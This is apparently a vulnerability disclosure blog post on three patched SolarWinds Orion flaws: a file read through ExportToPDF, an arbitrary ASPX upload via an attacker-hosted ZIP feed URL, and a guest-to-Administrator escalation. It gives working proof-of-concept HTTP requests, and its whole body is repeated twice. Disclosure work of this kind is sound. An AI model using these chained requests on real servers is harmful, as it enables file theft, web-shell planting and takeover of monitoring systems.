THREE MORE BUGS IN ORION’S BELT
In a recent blog post, we showed how certain endpoints in the SolarWinds Orion platform were accessible to low privileged users and could be exploited to achieve remote code execution. We also showed how authentication could be bypassed altogether using CVE-2020-10148. In this blog post, we discuss three other vulnerabilities submitted by an anonymous researcher, which when chained with a privilege escalation bug, could be exploited by a guest user. This will be a brief blog post due to the simplicity of the aforementioned bugs.
Privileges
In the previous blog post, we briefly discussed privileges in the SolarWinds Orion platform. One of the predefined roles is the guest account, which requires no password and has no assigned privileges by default. Although this account is disabled by default, it is fair to assume that some deployments may have the guest account enabled.
View fullsize
Picture1.png
CVE-2020-27870: Directory Traversal leading to arbitrary file read
The endpoint /orion/ExportToPDF.aspx converts HTML to PDF, but it fails to check if the HTML contains references to local files. Furthermore, the guest user account can access this endpoint. By supplying HTML files that contain references to local files, it is possible to read arbitrary files on the server in the context of SYSTEM.
For example, the following request can be used to retrieve the contents of C:\Windows\system32\drivers\etc\hosts:
POST /orion/ExportToPDF.aspx?ExportID=55475&PageHTML=%3Chtml%3E%3Ciframe%20src=%22C:%5CWindows%5Csystem32%5Cdrivers%5Cetc%5Chosts%22%20width=%221000%22%20height=%221000%22%3E%3C/html%3E HTTP/1.1. <-------
Host: 172.16.11.168:8787
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Origin: http://172.16.11.168:8787
X-Requested-With: XMLHttpRequest
Referer: http://172.16.11.168:8787/Orion/SummaryView.aspx?ViewID=1
Content-Type: application/x-www-form-urlencoded
Cookie: .ASPXAUTH=0660567401DF21BAAC59[...]
Content-Length: 53
[...Truncated...]
view rawSolarWinds-Orion--snippet-1.console hosted with ❤ by GitHub
A PDF contains the disclosed file contents can be retrieved as follows:
POST /orion/ExportToPDF.aspx?ExportID=55475&gimmethefile=true HTTP/1.1
Host: 172.16.11.168:8787
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Origin: http://172.16.11.168:8787
X-Requested-With: XMLHttpRequest
Referer: http://172.16.11.168:8787/Orion/SummaryView.aspx?ViewID=1
Content-Type: application/x-www-form-urlencoded
Cookie: .ASPXAUTH=0660567401DF21BAAC590375C511332186FE319751464EE2932BBBCECF1EECFDEB7AA7233D83572D3B253C5ADE83A083BD5CF9E0B7699DFEDB363A1442CCF2EBE56CA101813AEF9FF9A1579E73A430AC3244F36FD16490759B5B68A4E8A3F5A81E11FC7C5089CDD107A332701E673486A9683E74BB72A823C438FB681E3821F71F74C58A4D2E10146E19B04D5D491E3799E0973FBF1A8ED1723E97FE52E40D29D926C3A0B88074EE68B1ECE4391CD320; ASP.NET_SessionId=4q4kij1u0b3p3w5fcztorv5e; XSRF-TOKEN=6/SttzXoY2rJFY+74my5pSS055DftLCVbuOBlNKBxEU=; __AntiXsrfToken=e2de2272ca1e4cb7854602e9a0ca8d03
Content-Length: 53
__AntiXsrfTokenInput=e2de2272ca1e4cb7854602e9a0ca8d03
HTTP/1.1 200 OK
Cache-Control: private
Transfer-Encoding: chunked
Content-Type: binary/octet-stream
Content-Disposition: attachment; filename="OrionReport.PDF"; size=32215
X-Same-Domain: 1
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Date: Wed, 07 Oct 2020 18:24:56 GMT
7dd7
%PDF-1.4
%....
1 0 obj
<< /Creator (EO.Pdf)
/Producer (EO.Pdf 19.2.11.0)
/CreationDate (D:20201007182359+00'00')
/ModDate (D:20201007182359+00'00')
>>
endobj
[...Truncated...]
view rawSolarWinds-Orion--snippet-2.console hosted with ❤ by GitHub
CVE-2020-27871: Directory Traversal leading to arbitrary file upload
Orion allows the installation of various modules, with each module capable of performing a specific network monitoring and management function. One such module is the Network Configuration Manager (NCM) module. Where this module is installed, there is an arbitrary file upload vulnerability that could be leveraged for remote code execution. The root cause of this vulnerability is illustrated in the following code snippet:
private void TryDownload(string cveXmlDataPath, out string error)
{
this.vulnDownloader.TryDownload(cveXmlDataPath, out error); // <-------------------------------------
}
// Token: 0x06000005 RID: 5 RVA: 0x00002114 File Offset: 0x00000314
public void TryDownload(string path, out string error)
{
this.log.InfoFormat("json path: \"{0}\".", new object[]
{
path
});
IEnumerable dataUrls = this.settings.GetDataUrls();
string path2 = Path.Combine(path, Constants.NvdCpeMatchFolder);
bool flag = !Directory.Exists(path2);
if (flag)
{
Directory.CreateDirectory(path2);
}
List list = new List();
string item;
bool flag2 = !this.TryDownloadDataFeed(this.centralizedSettings.CpeMatchDataFeedUrl, path2, out item); // <--------------- default
if (flag2)
{
list.Add(item);
}
foreach (string url in dataUrls)
{
bool flag3 = !this.TryDownloadDataFeed(url, path, out item); // <----------------------------------------------
if (flag3)
{
list.Add(item);
}
}
error = ((list.Count > 0) ? string.Join(Environment.NewLine, list) : string.Empty);
}
private bool TryDownloadDataFeed(string url, string path, out string error)
{
bool flag = this.Download(url, path); // <-----------------------------------------------
error = null;
bool flag2 = !flag;
bool result;
if (flag2)
{
this.audit.LogFailureAuditMesage(AuditModule.VulnerabilityAudit, AuditAction.FirmwareVulnerabilities, string.Format(Resources.LIBCODE_IC_131, url), Resources.LIBCODE_IC_132);
error = string.Format(Resources.Vulnerability_UrlIsInaccessible_Message, url);
result = false;
}
else
{
result = true;
}
return result;
}
private bool TryDownloadDataFeed(string url, string path, out string error)
{
bool flag = this.Download(url, path); // <-----------------------------------------------------
error = null;
bool flag2 = !flag;
bool result;
if (flag2)
{
this.audit.LogFailureAuditMesage(AuditModule.VulnerabilityAudit, AuditAction.FirmwareVulnerabilities, string.Format(Resources.LIBCODE_IC_131, url), Resources.LIBCODE_IC_132);
error = string.Format(Resources.Vulnerability_UrlIsInaccessible_Message, url);
result = false;
}
else
{
result = true;
}
return result;
}
view rawSolarWinds-Orion--snippet-3.cpp hosted with ❤ by GitHub
As shown, the NCM module has a firmware vulnerability management functionality that downloads a ZIP file containing JSON files from an external website. By default, it downloads from https://nvd.nist.gov, but this default can be overridden. It then automatically extracts data from the .zip archive. It does not check the file extensions of the extracted files, nor does it verify the file upload path. Thus it is possible to upload the file anywhere in the file system. Files are extracted and written in the context of SYSTEM.
This flaw can be easily exploited. For example, by issuing the following request, it is possible to upload an arbitrary ASPX file to the www directory:
POST /Orion/NCM/Admin/Settings/VulnerabilitySettings.aspx HTTP/1.1
Host: 172.16.11.190:8787
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Origin: http://172.16.11.190:8787
X-Requested-With: XMLHttpRequest
X-MicrosoftAjax: Delta=true
X-XSRF-TOKEN: CE7UJynEir5LuHr57PSgKfVaORlNgU/kYm6D+gpr+JE=
Content-Type: application/x-www-form-urlencoded; charset=utf-8
[...]
Content-Length: 3994
[...]
older%24txtVulnMatchingScheduleTime=12%3A30%3A00+AM&ctl00_ctl00_ctl00_BodyContent_ContentPlaceHolder1_adminContentPlaceholder_txtVulnMatchingScheduleTime_p=2020-9-7-0-30-0-0&ctl00%24ctl00%24ctl00%24BodyContent%24ContentPlaceHolder1%2
4adminContentPlaceholder%24txtCVEXmlDataPath=C%3A%5Cinetpub%5Cwwwroot <-------------------------------
&ctl00%24ctl00%24ctl00%24BodyContent%24ContentPlaceHolder1%24adminContentPlaceholder%24chAutoDownloadCVEDataUrls=on&ctl00%24ctl00%24ctl00%24BodyContent%24ContentPlaceHolder1%24adminContentPlaceholder%24gridView%24ctl02%24txtUrl=http%3A%2F%2F172.16.11.203%3A8000%2Fpoc7KWR0E.zip <------------------------------------------
&ctl00%24ctl00%24ctl00%24BodyContent%24ContentPlaceHolder1%24adminContentPlaceholder%24txtVulnScoreThreshold=5&__ASYNCPOST=true
view rawSolarWinds-Orion--snippet-4.console hosted with ❤ by GitHub
This vulnerability has one caveat in that it can only be exploited by an Admin user. However, this requirement can be bypassed by the vulnerability we will discuss next.
ZDI-CAN-11903/ZDI-21-192: Privilege escalation
This vulnerability is present when any of the following SolarWinds Orion platform modules are installed:
- Network Configuration Manager
- Server Configuration Manager
- IP Address Manager
When any one of these products are installed, SolarWinds stores account roles in the WebUserSettings table.
View fullsize
Picture2.png
The researcher discovered this table can be modified by a hidden SaveUserSetting endpoint. A guest user can elevate their privileges to Administrator by simply issuing the following request:
POST /orion/services/WebAdmin.asmx/SaveUserSetting HTTP/1.1
Host: 172.16.11.190:8787
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Origin: http://172.16.11.190:8787
X-Requested-With: XMLHttpRequest
X-MicrosoftAjax: Delta=true
X-XSRF-TOKEN: THm8YIMQ0sGaGYlPcwJfHvuT6GvRmocs6hPaeFT1H54=
Content-Type: application/json;charset=utf-8
Cookie: .ASPXAUTH=9E5A8A04443C998883584BDCC411A24773DE7D28D3B7317167[...]
Content-Length: 56
{"name": "NCM.NCMAccountRole", "value": "Administrator"}
view rawSolarWinds-Orion--snippet-5.console hosted with ❤ by GitHub
Conclusion
This series of blog posts shows that simple bugs and oversights can have severe consequences. Luckily, SolarWinds has addressed all the above vulnerabilities in Orion Platform 2020.2.1 HF2. We highly recommend those running a vulnerable version of this platform to upgrade.
Privileges
In the previous blog post, we briefly discussed privileges in the SolarWinds Orion platform. One of the predefined roles is the guest account, which requires no password and has no assigned privileges by default. Although this account is disabled by default, it is fair to assume that some deployments may have the guest account enabled.
View fullsize
Picture1.png
CVE-2020-27870: Directory Traversal leading to arbitrary file read
The endpoint /orion/ExportToPDF.aspx converts HTML to PDF, but it fails to check if the HTML contains references to local files. Furthermore, the guest user account can access this endpoint. By supplying HTML files that contain references to local files, it is possible to read arbitrary files on the server in the context of SYSTEM.
For example, the following request can be used to retrieve the contents of C:\Windows\system32\drivers\etc\hosts:
POST /orion/ExportToPDF.aspx?ExportID=55475&PageHTML=%3Chtml%3E%3Ciframe%20src=%22C:%5CWindows%5Csystem32%5Cdrivers%5Cetc%5Chosts%22%20width=%221000%22%20height=%221000%22%3E%3C/html%3E HTTP/1.1. <-------
Host: 172.16.11.168:8787
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Origin: http://172.16.11.168:8787
X-Requested-With: XMLHttpRequest
Referer: http://172.16.11.168:8787/Orion/SummaryView.aspx?ViewID=1
Content-Type: application/x-www-form-urlencoded
Cookie: .ASPXAUTH=0660567401DF21BAAC59[...]
Content-Length: 53
[...Truncated...]
view rawSolarWinds-Orion--snippet-1.console hosted with ❤ by GitHub
A PDF contains the disclosed file contents can be retrieved as follows:
POST /orion/ExportToPDF.aspx?ExportID=55475&gimmethefile=true HTTP/1.1
Host: 172.16.11.168:8787
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Origin: http://172.16.11.168:8787
X-Requested-With: XMLHttpRequest
Referer: http://172.16.11.168:8787/Orion/SummaryView.aspx?ViewID=1
Content-Type: application/x-www-form-urlencoded
Cookie: .ASPXAUTH=0660567401DF21BAAC590375C511332186FE319751464EE2932BBBCECF1EECFDEB7AA7233D83572D3B253C5ADE83A083BD5CF9E0B7699DFEDB363A1442CCF2EBE56CA101813AEF9FF9A1579E73A430AC3244F36FD16490759B5B68A4E8A3F5A81E11FC7C5089CDD107A332701E673486A9683E74BB72A823C438FB681E3821F71F74C58A4D2E10146E19B04D5D491E3799E0973FBF1A8ED1723E97FE52E40D29D926C3A0B88074EE68B1ECE4391CD320; ASP.NET_SessionId=4q4kij1u0b3p3w5fcztorv5e; XSRF-TOKEN=6/SttzXoY2rJFY+74my5pSS055DftLCVbuOBlNKBxEU=; __AntiXsrfToken=e2de2272ca1e4cb7854602e9a0ca8d03
Content-Length: 53
__AntiXsrfTokenInput=e2de2272ca1e4cb7854602e9a0ca8d03
HTTP/1.1 200 OK
Cache-Control: private
Transfer-Encoding: chunked
Content-Type: binary/octet-stream
Content-Disposition: attachment; filename="OrionReport.PDF"; size=32215
X-Same-Domain: 1
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Date: Wed, 07 Oct 2020 18:24:56 GMT
7dd7
%PDF-1.4
%....
1 0 obj
<< /Creator (EO.Pdf)
/Producer (EO.Pdf 19.2.11.0)
/CreationDate (D:20201007182359+00'00')
/ModDate (D:20201007182359+00'00')
>>
endobj
[...Truncated...]
view rawSolarWinds-Orion--snippet-2.console hosted with ❤ by GitHub
CVE-2020-27871: Directory Traversal leading to arbitrary file upload
Orion allows the installation of various modules, with each module capable of performing a specific network monitoring and management function. One such module is the Network Configuration Manager (NCM) module. Where this module is installed, there is an arbitrary file upload vulnerability that could be leveraged for remote code execution. The root cause of this vulnerability is illustrated in the following code snippet:
private void TryDownload(string cveXmlDataPath, out string error)
{
this.vulnDownloader.TryDownload(cveXmlDataPath, out error); // <-------------------------------------
}
// Token: 0x06000005 RID: 5 RVA: 0x00002114 File Offset: 0x00000314
public void TryDownload(string path, out string error)
{
this.log.InfoFormat("json path: \"{0}\".", new object[]
{
path
});
IEnumerable dataUrls = this.settings.GetDataUrls();
string path2 = Path.Combine(path, Constants.NvdCpeMatchFolder);
bool flag = !Directory.Exists(path2);
if (flag)
{
Directory.CreateDirectory(path2);
}
List list = new List();
string item;
bool flag2 = !this.TryDownloadDataFeed(this.centralizedSettings.CpeMatchDataFeedUrl, path2, out item); // <--------------- default
if (flag2)
{
list.Add(item);
}
foreach (string url in dataUrls)
{
bool flag3 = !this.TryDownloadDataFeed(url, path, out item); // <----------------------------------------------
if (flag3)
{
list.Add(item);
}
}
error = ((list.Count > 0) ? string.Join(Environment.NewLine, list) : string.Empty);
}
private bool TryDownloadDataFeed(string url, string path, out string error)
{
bool flag = this.Download(url, path); // <-----------------------------------------------
error = null;
bool flag2 = !flag;
bool result;
if (flag2)
{
this.audit.LogFailureAuditMesage(AuditModule.VulnerabilityAudit, AuditAction.FirmwareVulnerabilities, string.Format(Resources.LIBCODE_IC_131, url), Resources.LIBCODE_IC_132);
error = string.Format(Resources.Vulnerability_UrlIsInaccessible_Message, url);
result = false;
}
else
{
result = true;
}
return result;
}
private bool TryDownloadDataFeed(string url, string path, out string error)
{
bool flag = this.Download(url, path); // <-----------------------------------------------------
error = null;
bool flag2 = !flag;
bool result;
if (flag2)
{
this.audit.LogFailureAuditMesage(AuditModule.VulnerabilityAudit, AuditAction.FirmwareVulnerabilities, string.Format(Resources.LIBCODE_IC_131, url), Resources.LIBCODE_IC_132);
error = string.Format(Resources.Vulnerability_UrlIsInaccessible_Message, url);
result = false;
}
else
{
result = true;
}
return result;
}
view rawSolarWinds-Orion--snippet-3.cpp hosted with ❤ by GitHub
As shown, the NCM module has a firmware vulnerability management functionality that downloads a ZIP file containing JSON files from an external website. By default, it downloads from https://nvd.nist.gov, but this default can be overridden. It then automatically extracts data from the .zip archive. It does not check the file extensions of the extracted files, nor does it verify the file upload path. Thus it is possible to upload the file anywhere in the file system. Files are extracted and written in the context of SYSTEM.
This flaw can be easily exploited. For example, by issuing the following request, it is possible to upload an arbitrary ASPX file to the www directory:
POST /Orion/NCM/Admin/Settings/VulnerabilitySettings.aspx HTTP/1.1
Host: 172.16.11.190:8787
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Origin: http://172.16.11.190:8787
X-Requested-With: XMLHttpRequest
X-MicrosoftAjax: Delta=true
X-XSRF-TOKEN: CE7UJynEir5LuHr57PSgKfVaORlNgU/kYm6D+gpr+JE=
Content-Type: application/x-www-form-urlencoded; charset=utf-8
[...]
Content-Length: 3994
[...]
older%24txtVulnMatchingScheduleTime=12%3A30%3A00+AM&ctl00_ctl00_ctl00_BodyContent_ContentPlaceHolder1_adminContentPlaceholder_txtVulnMatchingScheduleTime_p=2020-9-7-0-30-0-0&ctl00%24ctl00%24ctl00%24BodyContent%24ContentPlaceHolder1%2
4adminContentPlaceholder%24txtCVEXmlDataPath=C%3A%5Cinetpub%5Cwwwroot <-------------------------------
&ctl00%24ctl00%24ctl00%24BodyContent%24ContentPlaceHolder1%24adminContentPlaceholder%24chAutoDownloadCVEDataUrls=on&ctl00%24ctl00%24ctl00%24BodyContent%24ContentPlaceHolder1%24adminContentPlaceholder%24gridView%24ctl02%24txtUrl=http%3A%2F%2F172.16.11.203%3A8000%2Fpoc7KWR0E.zip <------------------------------------------
&ctl00%24ctl00%24ctl00%24BodyContent%24ContentPlaceHolder1%24adminContentPlaceholder%24txtVulnScoreThreshold=5&__ASYNCPOST=true
view rawSolarWinds-Orion--snippet-4.console hosted with ❤ by GitHub
This vulnerability has one caveat in that it can only be exploited by an Admin user. However, this requirement can be bypassed by the vulnerability we will discuss next.
ZDI-CAN-11903/ZDI-21-192: Privilege escalation
This vulnerability is present when any of the following SolarWinds Orion platform modules are installed:
- Network Configuration Manager
- Server Configuration Manager
- IP Address Manager
When any one of these products are installed, SolarWinds stores account roles in the WebUserSettings table.
View fullsize
Picture2.png
The researcher discovered this table can be modified by a hidden SaveUserSetting endpoint. A guest user can elevate their privileges to Administrator by simply issuing the following request:
POST /orion/services/WebAdmin.asmx/SaveUserSetting HTTP/1.1
Host: 172.16.11.190:8787
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Origin: http://172.16.11.190:8787
X-Requested-With: XMLHttpRequest
X-MicrosoftAjax: Delta=true
X-XSRF-TOKEN: THm8YIMQ0sGaGYlPcwJfHvuT6GvRmocs6hPaeFT1H54=
Content-Type: application/json;charset=utf-8
Cookie: .ASPXAUTH=9E5A8A04443C998883584BDCC411A24773DE7D28D3B7317167[...]
Content-Length: 56
{"name": "NCM.NCMAccountRole", "value": "Administrator"}
view rawSolarWinds-Orion--snippet-5.console hosted with ❤ by GitHub
Conclusion
This series of blog posts shows that simple bugs and oversights can have severe consequences. Luckily, SolarWinds has addressed all the above vulnerabilities in Orion Platform 2020.2.1 HF2. We highly recommend those running a vulnerable version of this platform to upgrade.